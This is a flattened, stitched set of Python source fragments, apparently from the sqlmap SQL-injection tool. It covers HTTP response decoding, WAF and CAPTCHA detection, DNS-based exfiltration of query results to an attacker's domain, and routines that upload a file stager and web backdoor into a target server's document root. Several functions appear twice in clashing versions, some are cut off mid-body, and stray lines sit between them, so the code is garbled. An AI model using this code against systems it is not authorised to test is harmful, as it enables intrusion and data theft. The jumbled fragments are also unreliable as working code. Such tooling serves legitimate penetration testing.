_ = "(?si)%s(?P<result>.*?)%s" % (kb.chars.start, kb.chars.stop)
retVal = extractRegexResult(_, retVal) or retVal
return safecharencode(retVal) if kb.safeCharEncode else retVal
def processResponse(page, responseHeaders, code=None, status=None):
kb.processResponseCounter += 1
page = page or ""
parseResponse(
page, responseHeaders
if kb.processResponseCounter < PARSE_HEADERS_LIMIT else None, status)
if not kb.tableFrom and Backend.getIdentifiedDbms() in (DBMS.ACCESS, ):
kb.tableFrom = extractRegexResult(SELECT_FROM_TABLE_REGEX, page)
else:
kb.tableFrom = None
if conf.parseErrors:
msg = extractErrorMessage(page)
if msg:
logger.warning("parsed DBMS error message: '%s'" % msg.rstrip('.'))
if not conf.skipWaf and kb.processResponseCounter < IDENTYWAF_PARSE_LIMIT:
rawResponse = "%s %s %s\n%s\n%s" % (
_http_client.HTTPConnection._http_vsn_str, code or "", status
or "",
getUnicode(
"".join(responseHeaders.headers if responseHeaders else [])),
page)
identYwaf.non_blind.clear()
if identYwaf.non_blind_check(rawResponse, silent=True):
for waf in identYwaf.non_blind:
if waf not in kb.identifiedWafs:
kb.identifiedWafs.add(waf)
errMsg = "WAF/IPS identified as '%s'" % identYwaf.format_name(
waf)
singleTimeLogMessage(errMsg, logging.CRITICAL)
if kb.originalPage is None:
for regex in (EVENTVALIDATION_REGEX, VIEWSTATE_REGEX):
match = re.search(regex, page)
if match and PLACE.POST in conf.parameters:
name, value = match.groups()
if PLACE.POST in conf.paramDict and name in conf.paramDict[
PLACE.POST]:
if conf.paramDict[PLACE.POST][name] in page:
continue
else:
msg = "do you want to automatically adjust the value of '%s'? [y/N]" % name
if not readInput(msg, default='N', boolean=True):
continue
conf.paramDict[PLACE.POST][name] = value
conf.parameters[PLACE.POST] = re.sub(
r"(?i)(%s=)[^&]+" % re.escape(name),
r"\g<1>%s" % value.replace('\\', r'\\'),
conf.parameters[PLACE.POST])
if not kb.browserVerification and re.search(r"(?i)browser.?verification",
page or ""):
kb.browserVerification = True
warnMsg = "potential browser verification protection mechanism detected"
if re.search(r"(?i)CloudFlare", page):
warnMsg += " (CloudFlare)"
singleTimeWarnMessage(warnMsg)
if not kb.captchaDetected and re.search(r"(?i)captcha", page or ""):
for match in re.finditer(r"(?si)<form.+?</form>", page):
if re.search(r"(?i)captcha", match.group(0)):
kb.captchaDetected = True
break
if re.search(r"<meta[^>]+\brefresh\b[^>]+\bcaptcha\b", page):
kb.captchaDetected = True
if kb.captchaDetected:
warnMsg = "potential CAPTCHA protection mechanism detected"
if re.search(r"(?i)<title>[^<]*CloudFlare", page):
warnMsg += " (CloudFlare)"
singleTimeWarnMessage(warnMsg)
if re.search(BLOCKED_IP_REGEX, page):
warnMsg = "it appears that you have been blocked by the target server"
singleTimeWarnMessage(warnMsg)
def decodePage(page, contentEncoding, contentType, percentDecode=True):
"""
Decode compressed/charset HTTP response
>>> getText(decodePage(b"<html>foo&bar</html>", None, "text/html; charset=utf-8"))
'<html>foo&bar</html>'
"""
if not page or (conf.nullConnection and len(page) < 2):
return getUnicode(page)
if hasattr(contentEncoding, "lower"):
contentEncoding = contentEncoding.lower()
else:
contentEncoding = ""
if hasattr(contentType, "lower"):
contentType = contentType.lower()
else:
contentType = ""
if contentEncoding in ("gzip", "x-gzip", "deflate"):
if not kb.pageCompress:
return None
try:
if contentEncoding == "deflate":
data = io.BytesIO(
zlib.decompress(page, -15)
) # Reference: http://stackoverflow.com/questions/1089662/python-inflate-and-deflate-implementations
else:
data = gzip.GzipFile("", "rb", 9, io.BytesIO(page))
size = struct.unpack(
"<l", page[-4:]
)[0] # Reference: http://pydoc.org/get.cgi/usr/local/lib/python2.5/gzip.py
if size > MAX_CONNECTION_TOTAL_SIZE:
raise Exception("size too large")
page = data.read()
except Exception as ex:
if "<html" not in page: # in some cases, invalid "Content-Encoding" appears for plain HTML (should be ignored)
errMsg = "detected invalid data for declared content "
errMsg += "encoding '%s' ('%s')" % (contentEncoding,
getSafeExString(ex))
singleTimeLogMessage(errMsg, logging.ERROR)
warnMsg = "turning off page compression"
singleTimeWarnMessage(warnMsg)
kb.pageCompress = False
raise SqlmapCompressionException
if not conf.encoding:
httpCharset, metaCharset = None, None
# Reference: http://stackoverflow.com/questions/1020892/python-urllib2-read-to-unicode
if contentType.find("charset=") != -1:
httpCharset = checkCharEncoding(contentType.split("charset=")[-1])
metaCharset = checkCharEncoding(
extractRegexResult(META_CHARSET_REGEX, page))
if (any((httpCharset, metaCharset)) and not all(
(httpCharset, metaCharset))) or (httpCharset == metaCharset
and all(
(httpCharset, metaCharset))):
kb.pageEncoding = httpCharset or metaCharset # Reference: http://bytes.com/topic/html-css/answers/154758-http-equiv-vs-true-header-has-precedence
debugMsg = "declared web page charset '%s'" % kb.pageEncoding
singleTimeLogMessage(debugMsg, logging.DEBUG, debugMsg)
else:
kb.pageEncoding = None
else:
kb.pageEncoding = conf.encoding
# can't do for all responses because we need to support binary files too
if isinstance(page, six.binary_type) and "text/" in contentType:
if not kb.disableHtmlDecoding:
# e.g. 	Ãëàâà
if b"&#" in page:
page = re.sub(
b"&#x([0-9a-f]{1,2});", lambda _: decodeHex(
_.group(1)
if len(_.group(1)) == 2 else "0%s" % _.group(1)), page)
page = re.sub(
b"&#(\\d{1,3});", lambda _: six.int2byte(int(_.group(1)))
if int(_.group(1)) < 256 else _.group(0), page)
# e.g. %20%28%29
if percentDecode:
if b"%" in page:
page = re.sub(b"%([0-9a-f]{2})",
lambda _: decodeHex(_.group(1)), page)
page = re.sub(b"%([0-9A-F]{2})",
lambda _: decodeHex(_.group(1)),
page) # Note: %DeepSee_SQL in CACHE
# e.g. &
page = re.sub(
b"&([^;]+);",
lambda _: six.int2byte(HTML_ENTITIES[getText(_.group(1))])
if HTML_ENTITIES.get(getText(_.group(1)), 256
) < 256 else _.group(0), page)
kb.pageEncoding = kb.pageEncoding or checkCharEncoding(
getHeuristicCharEncoding(page))
if (kb.pageEncoding or "").lower() == "utf-8-sig":
kb.pageEncoding = "utf-8"
if page and page.startswith(
b"\xef\xbb\xbf"
): # Reference: https://docs.python.org/2/library/codecs.html (Note: noticed problems when "utf-8-sig" is left to Python for handling)
page = page[3:]
page = getUnicode(page, kb.pageEncoding)
# e.g. ’…™
if "&#" in page:
def _(match):
retVal = match.group(0)
try:
retVal = _unichr(int(match.group(1)))
except (ValueError, OverflowError):
pass
return retVal
page = re.sub(r"&#(\d+);", _, page)
# e.g. ζ
page = re.sub(
r"&([^;]+);", lambda _: _unichr(HTML_ENTITIES[_.group(1)])
if HTML_ENTITIES.get(_.group(1), 0) > 255 else _.group(0),
page)
else:
page = getUnicode(page, kb.pageEncoding)
return page
try:
page = data.read()
except Exception, msg:
errMsg = "detected invalid data for declared content "
errMsg += "encoding '%s' ('%s')" % (contentEncoding, msg)
singleTimeLogMessage(errMsg, logging.ERROR)
if not conf.charset:
httpCharset, metaCharset = None, None
# http://stackoverflow.com/questions/1020892/python-urllib2-read-to-unicode
if contentType and (contentType.find('charset=') != -1):
httpCharset = checkCharEncoding(contentType.split('charset=')[-1])
metaCharset = checkCharEncoding(extractRegexResult(META_CHARSET_REGEX, page, re.DOTALL | re.IGNORECASE))
if ((httpCharset or metaCharset) and not all([httpCharset, metaCharset]))\
or (httpCharset == metaCharset and all([httpCharset, metaCharset])):
kb.pageEncoding = httpCharset or metaCharset
else:
kb.pageEncoding = None
else:
kb.pageEncoding = conf.charset
if contentType and not isinstance(page, unicode) and any(map(lambda x: x in contentType.lower(), ('text/txt', 'text/raw', 'text/html', 'text/xml'))):
# can't do for all responses because we need to support binary files too
kb.pageEncoding = kb.pageEncoding or checkCharEncoding(getHeuristicCharEncoding(page))
page = getUnicode(page, kb.pageEncoding)
return page
def dnsUse(payload, expression):
"""
Retrieve the output of a SQL query taking advantage of the DNS
resolution mechanism by making request back to attacker's machine.
"""
start = time.time()
retVal = None
count = 0
offset = 1
if conf.dnsName and Backend.getIdentifiedDbms() in (
DBMS.MSSQL, DBMS.ORACLE, DBMS.MYSQL, DBMS.PGSQL):
output = hashDBRetrieve(expression, checkConf=True)
if output and PARTIAL_VALUE_MARKER in output or kb.dnsTest is None:
output = None
if output is None:
kb.dnsMode = True
while True:
count += 1
prefix, suffix = (
"%s" %
randomStr(length=3, alphabet=DNS_BOUNDARIES_ALPHABET)
for _ in xrange(2))
chunk_length = MAX_DNS_LABEL / 2 if Backend.getIdentifiedDbms(
) in (DBMS.ORACLE, DBMS.MYSQL,
DBMS.PGSQL) else MAX_DNS_LABEL / 4 - 2
_, _, _, _, _, _, fieldToCastStr, _ = agent.getFields(
expression)
nulledCastedField = agent.nullAndCastField(fieldToCastStr)
nulledCastedField = queries[Backend.getIdentifiedDbms(
)].substring.query % (nulledCastedField, offset, chunk_length)
nulledCastedField = agent.hexConvertField(nulledCastedField)
expressionReplaced = expression.replace(
fieldToCastStr, nulledCastedField, 1)
expressionRequest = getSQLSnippet(Backend.getIdentifiedDbms(),
"dns_request",
PREFIX=prefix,
QUERY=expressionReplaced,
SUFFIX=suffix,
DOMAIN=conf.dnsName)
expressionUnescaped = unescaper.escape(expressionRequest)
if Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.PGSQL):
query = agent.prefixQuery("; %s" % expressionUnescaped)
query = "%s%s" % (query, queries[
Backend.getIdentifiedDbms()].comment.query)
forgedPayload = agent.payload(newValue=query)
else:
forgedPayload = safeStringFormat(
payload,
(expressionUnescaped, randomInt(1), randomInt(3)))
Request.queryPage(forgedPayload,
content=False,
noteResponseTime=False,
raise404=False)
_ = conf.dnsServer.pop(prefix, suffix)
if _:
_ = extractRegexResult(
"%s\.(?P<result>.+)\.%s" % (prefix, suffix), _, re.I)
_ = decodeHexValue(_)
output = (output or "") + _
offset += len(_)
if len(_) < chunk_length:
break
else:
break
output = decodeHexValue(output) if conf.hexConvert else output
kb.dnsMode = False
if output is not None:
retVal = output
if kb.dnsTest is not None:
dataToStdout("[%s] [INFO] %s: %s\n" %
(time.strftime("%X"), "retrieved" if count > 0
else "resumed", safecharencode(output)))
if count > 0:
hashDBWrite(expression, output)
if not kb.bruteMode:
debugMsg = "performed %d queries in %.2f seconds" % (
count, calculateDeltaSeconds(start))
logger.debug(debugMsg)
elif conf.dnsName:
warnMsg = "DNS data exfiltration method through SQL injection "
warnMsg += "is currently not available for DBMS %s" % Backend.getIdentifiedDbms(
)
singleTimeWarnMessage(warnMsg)
return safecharencode(retVal) if kb.safeCharEncode else retVal
def webInit(self):
"""
This method is used to write a web backdoor (agent) on a writable
remote directory within the web server document root.
"""
if self.webBackdoorUrl is not None and self.webStagerUrl is not None and self.webApi is not None:
return
self.checkDbmsOs()
infoMsg = "trying to upload the file stager"
logger.info(infoMsg)
default = None
choices = ('asp', 'aspx', 'php', 'jsp')
for ext in choices:
if conf.url.endswith(ext):
default = ext
break
if not default:
if Backend.isOs(OS.WINDOWS):
default = "asp"
else:
default = "php"
message = "which web application language does the web server "
message += "support?\n"
for count in xrange(len(choices)):
ext = choices[count]
message += "[%d] %s%s\n" % (count + 1, ext.upper(), (" (default)" if default == ext else ""))
if default == ext:
default = count + 1
message = message[:-1]
while True:
choice = readInput(message, default=str(default))
if not choice.isdigit():
logger.warn("invalid value, only digits are allowed")
elif int(choice) < 1 or int(choice) > len(choices):
logger.warn("invalid value, it must be between 1 and %d" % len(choices))
else:
self.webApi = choices[int(choice) - 1]
break
kb.docRoot = getDocRoot()
directories = getDirs()
directories = list(directories)
directories.sort()
backdoorName = "tmpb%s.%s" % (randomStr(lowercase=True), self.webApi)
backdoorStream = decloakToNamedTemporaryFile(os.path.join(paths.SQLMAP_SHELL_PATH, "backdoor.%s_" % self.webApi), backdoorName)
originalBackdoorContent = backdoorContent = backdoorStream.read()
stagerName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webApi)
stagerContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stager.%s_" % self.webApi))
warned = set()
success = False
for i in xrange(len(kb.docRoot)):
if success:
break
for j in xrange(len(directories)):
docRoot = kb.docRoot[i]
directory = directories[j]
uriPath = ""
if not all(isinstance(item, basestring) for item in [docRoot, directory]):
continue
directory = ntToPosixSlashes(normalizePath(directory)).replace("//", "/").rstrip('/')
docRoot = ntToPosixSlashes(normalizePath(docRoot)).replace("//", "/").rstrip('/')
# '' or '/' -> 'docRoot'
if not directory:
localPath = docRoot
uriPath = '/'
# 'dir1/dir2/dir3' -> 'docRoot/dir1/dir2/dir3'
elif not isWindowsDriveLetterPath(directory) and directory[0] != '/':
localPath = "%s/%s" % (docRoot, directory)
uriPath = "/%s" % directory
else:
localPath = directory
uriPath = directory[2:] if isWindowsDriveLetterPath(directory) else directory
docRoot = docRoot[2:] if isWindowsDriveLetterPath(docRoot) else docRoot
if docRoot in uriPath:
uriPath = uriPath.replace(docRoot, "/")
uriPath = "/%s" % normalizePath(uriPath)
else:
webDir = extractRegexResult(r"//[^/]+?/(?P<result>.*)/.", conf.url)
if webDir:
uriPath = "/%s" % webDir
else:
continue
localPath = posixpath.normpath(localPath).rstrip('/')
uriPath = posixpath.normpath(uriPath).rstrip('/')
# Upload the file stager
self.__webFileInject(stagerContent, stagerName, localPath)
self.webBaseUrl = "%s://%s:%d%s" % (conf.scheme, conf.hostname, conf.port, uriPath)
self.webStagerUrl = "%s/%s" % (self.webBaseUrl, stagerName)
uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False)
uplPage = uplPage or ""
if "sqlmap file uploader" not in uplPage:
if localPath not in warned:
warnMsg = "unable to upload the file stager "
warnMsg += "on '%s'" % localPath
logger.warn(warnMsg)
warned.add(localPath)
continue
elif "<%" in uplPage or "<?" in uplPage:
warnMsg = "file stager uploaded "
warnMsg += "on '%s' but not dynamically interpreted" % localPath
logger.warn(warnMsg)
continue
elif self.webApi == "aspx":
kb.data.__EVENTVALIDATION = extractRegexResult(r"__EVENTVALIDATION[^>]+value=\"(?P<result>[^\"]+)\"", uplPage, re.I)
kb.data.__VIEWSTATE = extractRegexResult(r"__VIEWSTATE[^>]+value=\"(?P<result>[^\"]+)\"", uplPage, re.I)
infoMsg = "the file stager has been successfully uploaded "
infoMsg += "on '%s' - %s" % (localPath, self.webStagerUrl)
logger.info(infoMsg)
if self.webApi == "asp":
runcmdName = "tmpe%s.exe" % randomStr(lowercase=True)
runcmdStream = decloakToNamedTemporaryFile(os.path.join(paths.SQLMAP_SHELL_PATH, 'runcmd.exe_'), runcmdName)
match = re.search(r'input type=hidden name=scriptsdir value="([^"]+)"', uplPage)
if match:
backdoorDirectory = match.group(1)
else:
continue
backdoorContent = originalBackdoorContent.replace("WRITABLE_DIR", backdoorDirectory).replace("RUNCMD_EXE", runcmdName)
backdoorStream.file.truncate()
backdoorStream.read()
backdoorStream.seek(0)
backdoorStream.write(backdoorContent)
if self.__webFileStreamUpload(backdoorStream, backdoorName, backdoorDirectory):
self.__webFileStreamUpload(runcmdStream, runcmdName, backdoorDirectory)
self.webBackdoorUrl = "%s/Scripts/%s" % (self.webBaseUrl, backdoorName)
self.webDirectory = backdoorDirectory
else:
continue
else:
if not self.__webFileStreamUpload(backdoorStream, backdoorName, posixToNtSlashes(localPath) if Backend.isOs(OS.WINDOWS) else localPath):
warnMsg = "backdoor has not been successfully uploaded "
warnMsg += "through the file stager possibly because "
warnMsg += "the user running the web server process "
warnMsg += "has not write privileges over the folder "
warnMsg += "where the user running the DBMS process "
warnMsg += "was able to upload the file stager or "
warnMsg += "because the DBMS and web server sit on "
warnMsg += "different servers"
logger.warn(warnMsg)
message = "do you want to try the same method used "
message += "for the file stager? [Y/n] "
getOutput = readInput(message, default="Y")
if getOutput in ("y", "Y"):
self.__webFileInject(backdoorContent, backdoorName, localPath)
else:
continue
self.webBackdoorUrl = "%s/%s" % (self.webBaseUrl, backdoorName)
self.webDirectory = localPath
infoMsg = "the backdoor has probably been successfully "
infoMsg += "uploaded on '%s' - " % self.webDirectory
infoMsg += self.webBackdoorUrl
logger.info(infoMsg)
success = True
break
def getPage(**kwargs):
"""
This method connects to the target url or proxy and returns
the target url page content
"""
if conf.delay is not None and isinstance(
conf.delay, (int, float)) and conf.delay > 0:
time.sleep(conf.delay)
elif conf.cpuThrottle:
cpuThrottle(conf.cpuThrottle)
threadData = getCurrentThreadData()
threadData.lastRequestUID += 1
url = kwargs.get('url', conf.url)
get = kwargs.get('get', None)
post = kwargs.get('post', None)
method = kwargs.get('method', None)
cookie = kwargs.get('cookie', None)
ua = kwargs.get('ua', None)
referer = kwargs.get('referer', None)
host = kwargs.get('host', conf.host)
direct_ = kwargs.get('direct', False)
multipart = kwargs.get('multipart', False)
silent = kwargs.get('silent', False)
raise404 = kwargs.get('raise404', True)
auxHeaders = kwargs.get('auxHeaders', None)
response = kwargs.get('response', False)
ignoreTimeout = kwargs.get('ignoreTimeout', kb.ignoreTimeout)
refreshing = kwargs.get('refreshing', False)
retrying = kwargs.get('retrying', False)
crawling = kwargs.get('crawling', False)
if not urlparse.urlsplit(url).netloc:
url = urlparse.urljoin(conf.url, url)
# flag to know if we are dealing with the same target host
target = reduce(
lambda x, y: x == y,
map(lambda x: urlparse.urlparse(x).netloc.split(':')[0],
[url, conf.url or ""]))
if not retrying:
# Reset the number of connection retries
threadData.retriesCount = 0
# fix for known issue when urllib2 just skips the other part of provided
# url splitted with space char while urlencoding it in the later phase
url = url.replace(" ", "%20")
code = None
page = None
_ = urlparse.urlsplit(url)
requestMsg = u"HTTP request [#%d]:\n%s " % (
threadData.lastRequestUID, method or
(HTTPMETHOD.POST if post is not None else HTTPMETHOD.GET))
requestMsg += ("%s%s" %
(_.path or "/",
("?%s" % _.query) if _.query else "")) if not any(
(refreshing, crawling)) else url
responseMsg = u"HTTP response "
requestHeaders = u""
responseHeaders = None
logHeaders = u""
skipLogTraffic = False
raise404 = raise404 and not kb.ignoreNotFound
# support for non-latin (e.g. cyrillic) URLs as urllib/urllib2 doesn't
# support those by default
url = asciifyUrl(url)
# fix for known issues when using url in unicode format
# (e.g. UnicodeDecodeError: "url = url + '?' + query" in redirect case)
url = unicodeencode(url)
try:
if silent:
socket.setdefaulttimeout(HTTP_SILENT_TIMEOUT)
else:
socket.setdefaulttimeout(conf.timeout)
if direct_:
if "?" in url:
url, params = url.split("?")
params = urlencode(params)
url = "%s?%s" % (url, params)
requestMsg += "?%s" % params
elif multipart:
# Needed in this form because of potential circle dependency
# problem (option -> update -> connect -> option)
from lib.core.option import proxyHandler
multipartOpener = urllib2.build_opener(
proxyHandler, multipartpost.MultipartPostHandler)
conn = multipartOpener.open(unicodeencode(url), multipart)
page = Connect._connReadProxy(conn)
responseHeaders = conn.info()
responseHeaders[URI_HTTP_HEADER] = conn.geturl()
page = decodePage(
page, responseHeaders.get(HTTPHEADER.CONTENT_ENCODING),
responseHeaders.get(HTTPHEADER.CONTENT_TYPE))
return page
elif any((refreshing, crawling)):
pass
elif target:
if PLACE.GET in conf.parameters and not get:
get = conf.parameters[PLACE.GET]
if get:
url = "%s?%s" % (url, get)
requestMsg += "?%s" % get
if conf.method == HTTPMETHOD.POST and not post:
for place in (PLACE.POST, ):
if place in conf.parameters:
post = conf.parameters[place]
break
elif get:
url = "%s?%s" % (url, get)
requestMsg += "?%s" % get
requestMsg += " %s" % httplib.HTTPConnection._http_vsn_str
# Prepare HTTP headers
headers = forgeHeaders({
HTTPHEADER.COOKIE: cookie,
HTTPHEADER.USER_AGENT: ua,
HTTPHEADER.REFERER: referer
})
if kb.authHeader:
headers[HTTPHEADER.AUTHORIZATION] = kb.authHeader
if kb.proxyAuthHeader:
headers[HTTPHEADER.PROXY_AUTHORIZATION] = kb.proxyAuthHeader
headers[HTTPHEADER.ACCEPT] = HTTP_ACCEPT_HEADER_VALUE
headers[
HTTPHEADER.
ACCEPT_ENCODING] = HTTP_ACCEPT_ENCODING_HEADER_VALUE if method != HTTPMETHOD.HEAD and kb.pageCompress else "identity"
headers[HTTPHEADER.HOST] = host or getHostHeader(url)
if post is not None and HTTPHEADER.CONTENT_TYPE not in headers:
headers[HTTPHEADER.CONTENT_TYPE] = POST_HINT_CONTENT_TYPES.get(
kb.postHint, DEFAULT_CONTENT_TYPE)
if headers.get(HTTPHEADER.CONTENT_TYPE) == POST_HINT_CONTENT_TYPES[
POST_HINT.MULTIPART]:
warnMsg = "missing 'boundary parameter' in '%s' header. " % HTTPHEADER.CONTENT_TYPE
warnMsg += "Will try to reconstruct"
singleTimeWarnMessage(warnMsg)
boundary = findMultipartPostBoundary(conf.data)
if boundary:
headers[HTTPHEADER.CONTENT_TYPE] = "%s; boundary=%s" % (
headers[HTTPHEADER.CONTENT_TYPE], boundary)
if auxHeaders:
for key, item in auxHeaders.items():
headers[key] = item
for key, item in headers.items():
del headers[key]
headers[unicodeencode(key, kb.pageEncoding)] = unicodeencode(
item, kb.pageEncoding)
post = unicodeencode(post, kb.pageEncoding)
if method:
req = MethodRequest(url, post, headers)
req.set_method(method)
else:
req = urllib2.Request(url, post, headers)
requestHeaders += "\n".join(
"%s: %s" %
(key.capitalize() if isinstance(key, basestring) else key,
getUnicode(value)) for (key, value) in req.header_items())
if not getRequestHeader(req, HTTPHEADER.COOKIE) and conf.cj:
conf.cj._policy._now = conf.cj._now = int(time.time())
cookies = conf.cj._cookies_for_request(req)
requestHeaders += "\n%s" % ("Cookie: %s" % ";".join(
"%s=%s" %
(getUnicode(cookie.name), getUnicode(cookie.value))
for cookie in cookies))
if post is not None:
if not getRequestHeader(req, HTTPHEADER.CONTENT_LENGTH):
requestHeaders += "\n%s: %d" % (string.capwords(
HTTPHEADER.CONTENT_LENGTH), len(post))
if not getRequestHeader(req, HTTPHEADER.CONNECTION):
requestHeaders += "\n%s: close" % HTTPHEADER.CONNECTION
requestMsg += "\n%s" % requestHeaders
if post is not None:
requestMsg += "\n\n%s" % getUnicode(post)
requestMsg += "\n"
threadData.lastRequestMsg = requestMsg
logger.log(CUSTOM_LOGGING.TRAFFIC_OUT, requestMsg)
conn = urllib2.urlopen(req)
if not kb.authHeader and getRequestHeader(
req, HTTPHEADER.AUTHORIZATION):
kb.authHeader = getRequestHeader(req, HTTPHEADER.AUTHORIZATION)
if not kb.proxyAuthHeader and getRequestHeader(
req, HTTPHEADER.PROXY_AUTHORIZATION):
kb.proxyAuthHeader = getRequestHeader(
req, HTTPHEADER.PROXY_AUTHORIZATION)
# Return response object
if response:
return conn, None, None
# Get HTTP response
if hasattr(conn, 'redurl'):
page = threadData.lastRedirectMsg[1] if kb.redirectChoice == REDIRECTION.NO\
else Connect._connReadProxy(conn)
skipLogTraffic = kb.redirectChoice == REDIRECTION.NO
code = conn.redcode
else:
page = Connect._connReadProxy(conn)
code = code or conn.code
responseHeaders = conn.info()
responseHeaders[URI_HTTP_HEADER] = conn.geturl()
page = decodePage(page,
responseHeaders.get(HTTPHEADER.CONTENT_ENCODING),
responseHeaders.get(HTTPHEADER.CONTENT_TYPE))
status = getUnicode(conn.msg)
if extractRegexResult(META_REFRESH_REGEX, page) and not refreshing:
url = extractRegexResult(META_REFRESH_REGEX, page)
debugMsg = "got HTML meta refresh header"
logger.debug(debugMsg)
if kb.alwaysRefresh is None:
msg = "sqlmap got a refresh request "
msg += "(redirect like response common to login pages). "
msg += "Do you want to apply the refresh "
msg += "from now on (or stay on the original page)? [Y/n]"
choice = readInput(msg, default="Y")
kb.alwaysRefresh = choice not in ("n", "N")
if kb.alwaysRefresh:
if url.lower().startswith('http://'):
kwargs['url'] = url
else:
kwargs['url'] = conf.url[:conf.url.rfind('/') +
1] + url
threadData.lastRedirectMsg = (threadData.lastRequestUID,
page)
kwargs['refreshing'] = True
kwargs['get'] = None
kwargs['post'] = None
try:
return Connect._getPageProxy(**kwargs)
except SqlmapSyntaxException:
pass
# Explicit closing of connection object
if not conf.keepAlive:
try:
if hasattr(conn.fp, '_sock'):
conn.fp._sock.close()
conn.close()
except Exception, msg:
warnMsg = "problem occured during connection closing ('%s')" % msg
logger.warn(warnMsg)
except urllib2.HTTPError, e:
page = None
responseHeaders = None
try:
page = e.read()
responseHeaders = e.info()
responseHeaders[URI_HTTP_HEADER] = e.geturl()
page = decodePage(
page, responseHeaders.get(HTTPHEADER.CONTENT_ENCODING),
responseHeaders.get(HTTPHEADER.CONTENT_TYPE))
except socket.timeout:
warnMsg = "connection timed out while trying "
warnMsg += "to get error page information (%d)" % e.code
logger.warn(warnMsg)
return None, None, None
except KeyboardInterrupt:
raise
except:
pass
finally:
page = page if isinstance(page, unicode) else getUnicode(page)
code = e.code
threadData.lastHTTPError = (threadData.lastRequestUID, code)
kb.httpErrorCodes[code] = kb.httpErrorCodes.get(code, 0) + 1
status = getUnicode(e.msg)
responseMsg += "[#%d] (%d %s):\n" % (threadData.lastRequestUID,
code, status)
if responseHeaders:
logHeaders = "\n".join(
"%s: %s" %
(key.capitalize() if isinstance(key, basestring) else key,
getUnicode(value))
for (key, value) in responseHeaders.items())
logHTTPTraffic(
requestMsg,
"%s%s\n\n%s" % (responseMsg, logHeaders,
(page or "")[:MAX_CONNECTION_CHUNK_SIZE]))
skipLogTraffic = True
if conf.verbose <= 5:
responseMsg += getUnicode(logHeaders)
elif conf.verbose > 5:
responseMsg += "%s\n\n%s" % (logHeaders,
(page or
"")[:MAX_CONNECTION_CHUNK_SIZE])
logger.log(CUSTOM_LOGGING.TRAFFIC_IN, responseMsg)
if e.code == httplib.UNAUTHORIZED:
errMsg = "not authorized, try to provide right HTTP "
errMsg += "authentication type and valid credentials (%d)" % code
raise SqlmapConnectionException, errMsg
elif e.code == httplib.NOT_FOUND:
if raise404:
errMsg = "page not found (%d)" % code
raise SqlmapConnectionException, errMsg
else:
debugMsg = "page not found (%d)" % code
logger.debug(debugMsg)
processResponse(page, responseHeaders)
elif e.code == httplib.GATEWAY_TIMEOUT:
if ignoreTimeout:
return None, None, None
else:
warnMsg = "unable to connect to the target url (%d - %s)" % (
e.code, httplib.responses[e.code])
if threadData.retriesCount < conf.retries and not kb.threadException:
warnMsg += ". sqlmap is going to retry the request"
logger.critical(warnMsg)
return Connect._retryProxy(**kwargs)
elif kb.testMode:
logger.critical(warnMsg)
return None, None, None
else:
raise SqlmapConnectionException, warnMsg
else:
debugMsg = "got HTTP error code: %d (%s)" % (code, status)
logger.debug(debugMsg)
singleTimeLogMessage(errMsg, logging.ERROR)
warnMsg = "turning off page compression"
singleTimeWarnMessage(warnMsg)
kb.pageCompress = False
raise SqlmapCompressionException
if not conf.charset:
httpCharset, metaCharset = None, None
# Reference: http://stackoverflow.com/questions/1020892/python-urllib2-read-to-unicode
if contentType and (contentType.find("charset=") != -1):
httpCharset = checkCharEncoding(contentType.split("charset=")[-1])
metaCharset = checkCharEncoding(extractRegexResult(META_CHARSET_REGEX, page))
if (any((httpCharset, metaCharset)) and not all((httpCharset, metaCharset)))\
or (httpCharset == metaCharset and all((httpCharset, metaCharset))):
kb.pageEncoding = httpCharset or metaCharset # Reference: http://bytes.com/topic/html-css/answers/154758-http-equiv-vs-true-header-has-precedence
debugMsg = "declared web page charset '%s'" % kb.pageEncoding
singleTimeLogMessage(debugMsg, logging.DEBUG, debugMsg)
else:
kb.pageEncoding = None
else:
kb.pageEncoding = conf.charset
# can't do for all responses because we need to support binary files too
if contentType and not isinstance(page, unicode) and "text/" in contentType.lower():
if kb.heuristicMode:
kb.pageEncoding = kb.pageEncoding or checkCharEncoding(getHeuristicCharEncoding(page))
def webInit(self):
"""
This method is used to write a web backdoor (agent) on a writable
remote directory within the web server document root.
"""
if self.webBackdoorUrl is not None and self.webStagerUrl is not None and self.webPlatform is not None:
return
self.checkDbmsOs()
default = None
choices = list(getPublicTypeMembers(WEB_PLATFORM, True))
for ext in choices:
if conf.url.endswith(ext):
default = ext
break
if not default:
default = WEB_PLATFORM.ASP if Backend.isOs(OS.WINDOWS) else WEB_PLATFORM.PHP
message = "which web application language does the web server "
message += "support?\n"
for count in xrange(len(choices)):
ext = choices[count]
message += "[%d] %s%s\n" % (count + 1, ext.upper(), (" (default)" if default == ext else ""))
if default == ext:
default = count + 1
message = message[:-1]
while True:
choice = readInput(message, default=str(default))
if not choice.isdigit():
logger.warn("invalid value, only digits are allowed")
elif int(choice) < 1 or int(choice) > len(choices):
logger.warn("invalid value, it must be between 1 and %d" % len(choices))
else:
self.webPlatform = choices[int(choice) - 1]
break
if not kb.absFilePaths:
message = "do you want sqlmap to further try to "
message += "provoke the full path disclosure? [Y/n] "
if readInput(message, default='Y', boolean=True):
headers = {}
been = set([conf.url])
for match in re.finditer(r"=['\"]((https?):)?(//[^/'\"]+)?(/[\w/.-]*)\bwp-", kb.originalPage or "", re.I):
url = "%s%s" % (conf.url.replace(conf.path, match.group(4)), "wp-content/wp-db.php")
if url not in been:
try:
page, _, _ = Request.getPage(url=url, raise404=False, silent=True)
parseFilePaths(page)
except:
pass
finally:
been.add(url)
url = re.sub(r"(\.\w+)\Z", r"~\g<1>", conf.url)
if url not in been:
try:
page, _, _ = Request.getPage(url=url, raise404=False, silent=True)
parseFilePaths(page)
except:
pass
finally:
been.add(url)
for place in (PLACE.GET, PLACE.POST):
if place in conf.parameters:
value = re.sub(r"(\A|&)(\w+)=", r"\g<2>[]=", conf.parameters[place])
if "[]" in value:
page, headers, _ = Request.queryPage(value=value, place=place, content=True, raise404=False, silent=True, noteResponseTime=False)
parseFilePaths(page)
cookie = None
if PLACE.COOKIE in conf.parameters:
cookie = conf.parameters[PLACE.COOKIE]
elif headers and HTTP_HEADER.SET_COOKIE in headers:
cookie = headers[HTTP_HEADER.SET_COOKIE]
if cookie:
value = re.sub(r"(\A|;)(\w+)=[^;]*", r"\g<2>=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA", cookie)
